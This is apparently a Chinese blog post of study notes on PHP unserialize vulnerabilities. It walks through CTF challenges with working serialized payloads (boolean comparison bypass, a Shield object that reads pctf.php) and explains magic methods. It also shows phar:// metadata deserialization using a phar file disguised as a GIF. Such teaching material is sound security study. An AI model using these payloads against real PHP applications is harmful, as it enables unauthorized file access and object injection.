zoukankan      html  css  js  c++  java
  • 反序列化学习

    反序列化学习

    我懒得自己写了,基本都是某个表哥写的,表哥的文章在最下面,部分我进行了自己的分析和理解。

    serialize() 把变量和它们的值编码成文本形式

    unserialize() 恢复原先变量

    反序列化漏洞

    unserialize() 的参数可控时,通过传入一个特意构造好的的序列化字符串,从而控制对象内部的变量甚至是函数以进行非法操作。

    某个反序列化demo

    <?php
    	
    	class Point
    	{
    		public $x = 1;
    		public $y = 2;
    		public function show()
    		{
    			echo ('point is ('.$this->x.','.$this->y.')'."<br>");
    		}
    	}
    	
    	$a = array();
    	$a['id'] = '1';
    	$a['name'] = 'user';
    	$a['pwd'] = '123';
    	var_dump($a);
    	echo ("<br>");
    	$b = serialize($a);
    	var_dump($b);
    	$c = unserialize($b);
    	echo ('<br>');
    	var_dump($c);
    	
    	$p1 = @new Point();
    	echo ('<br>');
    	$p1->show();
    	echo  @serialize(p1);
    	
    ?>
    

    运行结果如下:

    array(3) { ["id"]=> string(1) "1" ["name"]=> string(4) "user" ["pwd"]=> string(3) "123" }
    string(65) "a:3:{s:2:"id";s:1:"1";s:4:"name";s:4:"user";s:3:"pwd";s:3:"123";}"
    array(3) { ["id"]=> string(1) "1" ["name"]=> string(4) "user" ["pwd"]=> string(3) "123" }
    point is (1,2)
    s:2:"p1";
    

    0x01. 利用普通变量或方法

    题目1

    实验吧有一题如下:http://ctf5.shiyanbar.com/10/web1/index.php

    如图:

    在这里插入图片描述

    查看源码如图:得到提示,需要提交一个字符串给username,使其进过md5加密之后与0比较的结果为真,可以选取字符串QNKCDZO,具体分析可以参考我这篇文章中https://www.cnblogs.com/v01cano/p/11890184.html的md5 collision题。

    在这里插入图片描述

    传入字符串QNKCDZO给username后得到如下提示:

    在这里插入图片描述

    接着访问/user.php?fame=hjkleffifer,查看源码得到如下提示:

    $unserialize_str = $_POST['password'];
         $data_unserialize = unserialize($unserialize_str);
         if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???')
         {
           print_r($flag);
         }
    伟大的科学家php方言道:成也布尔,败也布尔。
    回去吧骚年
    

    根据提示,成也布尔,败也布尔。布尔类型的true跟任意字符串在‘==’下成立,根据这个我们就构造了生成payload的php代码如下:

    <?php
        $a=array('user'=>true,'pass'=>true);
        $b=serialize($a);
        var_dump($b);
    ?>
    

    直接运行此代码,即可生成如下payload: a:2:{s:4:"user";b:1;s:4:"pass";b:1;}

    我们直接将payload传递给password即可成功获取flag:

    在这里插入图片描述

    题目2

    首先利用题目的任意文件读取漏洞获取index.php和showimg.php的源码:

    index.php源码如下:

    <?php 
    	require_once('shield.php');
    	$x = new Shield();
    	isset($_GET['class']) && $g = $_GET['class'];
    	if (!empty($g)) {
    		$x = unserialize($g);
    	}
    	echo $x->readfile();
    ?>
    

    showimg.php源码如下:

    <?php
    	$f = $_GET['img'];
    	if (!empty($f)) {
    		$f = base64_decode($f);
    		if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\')===FALSE
    		&& stripos($f,'pctf')===FALSE) {
    			readfile($f);
    		} else {
    			echo "File not found!";
    		}
    	}
    ?>
    

    由于index.php中包含了shield.php,所以此处也读取该文件:

    shield.php源码如下:

    <?php
    	//flag is in pctf.php
    	class Shield {
    		public $file;
    		function __construct($filename = '') {
    			$this -> file = $filename;
    		}
    		
    		function readfile() {
    			if (!empty($this->file) && stripos($this->file,'..')===FALSE  
    			&& stripos($this->file,'/')===FALSE && stripos($this->file,'\')==FALSE) {
    				return @file_get_contents($this->file);
    			}
    		}
    	}
    ?>
    

    在shield.php中得到提示flag is in pctf.php,但是在showimg.php中对pctf有过滤,于是只能从index.php下手,于是利用序列化漏洞,构造了如下payload生成代码:

    <?php 
    	class Shield {
    		public $file;
    		function __construct($filename = '') {
    			$this -> file = $filename;
    		}
    		
    		function readfile() {
    			if (!empty($this->file) && stripos($this->file,'..')===FALSE  
    			&& stripos($this->file,'/')===FALSE && stripos($this->file,'\')==FALSE) {
    				return @file_get_contents($this->file);
    			}
    		}
    	}
    	$x = new Shield('pctf.php');
        echo serialize($x);
    	isset($_GET['class']) && $g = $_GET['class'];
    	if (!empty($g)) {
    		$x = unserialize($g);
    	}
    	echo $x->readfile();
    ?>
    

    运行结果如下:

    O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
    

    直接将该payload传递给class参数,即可得到flag:

    在这里插入图片描述

    0x02. PHP: Magic function

    除利用普通变量或方法外还可以利用Magic function(魔术方法)进行反序列化攻击,有关魔术方法:http://php.net/manual/zh/language.oop5.magic.php

    __construct():当对象创建(new)时会自动调用,注意在
    unserialize()时并不会自动调用

    __destruct():对象被销毁时会自动调用

    __sleep(): serialize()时会先被调用

    __wakeup():unserialize()时会先被调用

    其他

    __call(),在对象中调用一个不可访问方法时调用
    __callStatic(),用静态方式中调用一个不可访问方法时调用
    __get(),获得一个类的成员变量时调用
    __set(),设置一个类的成员变量时调用
    __isset(),当对不可访问属性调用isset()或empty()时调用
    __unset(),当对不可访问属性调用unset()时被调用。
    __wakeup(),执行unserialize()时,先会调用这个函数
    __toString(),类被当成字符串时的回应方法
    __invoke(),调用函数的方式调用一个对象时的回应方法
    __set_state(),调用var_export()导出类时,此静态方法会被调用。
    __clone(),当对象复制完成时调用
    __autoload(),尝试加载未定义的类
    __debugInfo(),打印所需调试信息
    

    __construct()__destruct()

    <?php 
    
    class demo
    {
    	public $test_v1 = 'function';
    
    	function __construct()
    	{
    		echo $this->test_v1."<br>";
    	}
    
    	function __destruct()
    	{
    		echo $this->test_v1."<br>";
    		
    	}
    
    }
    
    	$s = 'O:4:"demo":1:{s:7:"test_v1";s:9:"phpinfo()";}';
    	unserialize($s);
    	
    	$demo2 = new demo();
    
    ?>
    
    输出:
    phpinfo()
    function
    function
    

    __sleep()__wakeup()

    <?php 
    
    class demo
    {
    	public $test_v1 = 'function';
    
    	function __sleep()
    	{
    		echo "serialize<br>";
    	}
    
    	function __wakeup()
    	{
    		echo "unserialize<br>";
    	}
    
    }
    
    	$s = serialize(new demo());
    	$s = 'O:4:"demo":1:{s:7:"test_v1";s:9:"phpinfo()";}';
    	unserialize($s);
    	
    	//$demo2 = new demo();
    
    ?>
    
    输出:
    serialize
    unserialize
    

    0x03. phar文件通过phar://伪协议进行反序列化

    因为phar文件会以序列化的形式存储用户自定义的meta-data,所以在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作,深入了解请至:https://paper.seebug.org/680/

    受影响文件系统函数
    fileatime filectime file_exists file_get_contents
    file_put_contents file filegroup fopen
    fileinode filemtime fileowner fileperms
    is_dir is_executable is_file is_link
    is_readable is_writable is_writeable parse_ini_file
    copy unlink stat readfile

    假设file参数可控,传入phar://demo.phar

    demo.php

    <?php
        class demo {
        	public $demo_v='NULL';
        	public function __destruct()
        	{
        		echo $this->demo_v."<br>";
        	}
        }
    
        $file = 'phar://demo.phar';
        file_get_contents($file);
    
    ?>
    

    php脚本构造demo.phar利用以上代码的demo类输出其他字符串

    payload.php

    <?php
        class demo {
        	public $demo_v='phpinfo()';
        	public function __destruct()
        	{
        		echo $this->demo_v."<br>";
        	}
        }
    
        $phar = new Phar("demo.phar");
        $phar->startBuffering();
        $phar->setStub("<?php __HALT_COMPILER(); ?>"); 
        $obj = new demo();
        $phar->setMetadata($obj);
        $phar->addFromString("test.txt", "test");
        $phar->stopBuffering();
    ?>
    

    Example:

    先是一个文件上传,在flag.php中有以下内容

    $recieve = $_GET['filename'];
    
    class flag{
    	var $file;
    	private $flag = '****';
    
    	function __destruct(){
    		if ($this->file == 'phar'){
    			echo $this->flag;
    		}
    	}
    }
    
    file_get_contents($recieve);
    

    本地生成phar文件伪装gif,再phar伪协议触发php反序列化

    <?php
    class flag{
            var $file = 'phar';
        }
        $a = serialize(new flag());
        var_dump($a);
        $b = unserialize($a);
        $p = new Phar('./pp.phar', 0);
        $p->startBuffering();
        $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
        $p->setMetadata($b);
        $p->addFromString('test.txt','text');
        $p->stopBuffering();
        rename('pp.phar', 'pp.gif')
    ?>
    

    上传访问flag.php?filename=phar://upload_file/pp.gif得到flag

    0x03有点没搞懂,下次仔细看看,最近搞免杀马,顺便看到了这个而已。

    reference:

    http://j0k3r.top/2018/10/23/php-unserialize/#反序列化漏洞

  • 相关阅读:
    JSON.parse()和JSON.stringify()
    对于火狐浏览器中title不能换行自动变成...怎么解决的?
    Python中文编码过程中遇到的一些问题
    【Java并发编程实战】—–“J.U.C”:ReentrantLock之二lock方法分析
    PHP CURL 中文说明
    Windows系统下正确安装MongoDB
    js笔试题
    记录真实想法,在路上不断前行——关于工作,学习,职场
    Ansible@一个高效的配置管理工具--Ansible configure management--翻译(十一)
    Java第四次作业
  • 原文地址:https://www.cnblogs.com/v01cano/p/11891941.html
Copyright © 2011-2022 走看看